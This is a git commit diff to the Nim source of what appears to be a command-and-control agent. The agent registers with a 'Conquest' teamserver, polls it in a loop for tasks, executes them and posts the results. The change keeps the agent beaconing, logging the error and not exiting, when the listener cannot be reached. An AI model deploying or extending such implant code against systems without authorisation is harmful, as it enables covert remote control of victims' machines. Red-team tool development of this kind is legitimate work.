Prevented client from crashing when listener is not reachable

This commit is contained in:
Jakob Friedl
2025-05-23 10:02:17 +02:00
parent 1b147aacd6
commit 6f9e20566d
2 changed files with 16 additions and 9 deletions

View File

@@ -14,6 +14,8 @@ proc main() =
4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate 4. Agent moves into an infinite loop, which is only exited when the agent is tasked to terminate
]# ]#
# TODO: Read data from configuration file
let listener = "NVIACCXB" let listener = "NVIACCXB"
let agent = register(listener) let agent = register(listener)
echo fmt"[+] [{agent}] Agent registered." echo fmt"[+] [{agent}] Agent registered."
@@ -33,8 +35,14 @@ proc main() =
let date: string = now().format("dd-MM-yyyy HH:mm:ss") let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking in." echo fmt"[{date}] Checking in."
# Retrieve task queue from the teamserver for the current agent
let tasks: seq[Task] = getTasks(listener, agent) let tasks: seq[Task] = getTasks(listener, agent)
if tasks.len <= 0:
echo "[*] No tasks to execute."
continue
# Execute all retrieved tasks and return their output to the server
for task in tasks: for task in tasks:
let result = task.handleTask() let result = task.handleTask()

View File

@@ -25,8 +25,8 @@ proc register*(listener: string): string =
try: try:
# Register agent to the Conquest server # Register agent to the Conquest server
return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body) return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
except HttpRequestError as err: except CatchableError as err:
echo "Registration failed" echo "[-] [REGISTER FAILED]:", err.msg
quit(0) quit(0)
finally: finally:
client.close() client.close()
@@ -40,10 +40,9 @@ proc getTasks*(listener: string, agent: string): seq[Task] =
let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks") let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks")
return parseJson(responseBody).to(seq[Task]) return parseJson(responseBody).to(seq[Task])
except HttpRequestError as err: except CatchableError as err:
echo "Not found" # When the listener is not reachable, don't kill the application, but check in at the next time
quit(0) echo "[-] [TASK-RETRIEVAL FAILED]:", err.msg
finally: finally:
client.close() client.close()
@@ -61,9 +60,9 @@ proc postResults*(listener, agent: string, task: Task): bool =
try: try:
# Register agent to the Conquest server # Register agent to the Conquest server
discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson) discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson)
except HttpRequestError as err: except CatchableError as err:
echo "Not found" # When the listener is not reachable, don't kill the application, but check in at the next time
quit(0) echo "[-] [RESULTS FAILED]:", err.msg
finally: finally:
client.close() client.close()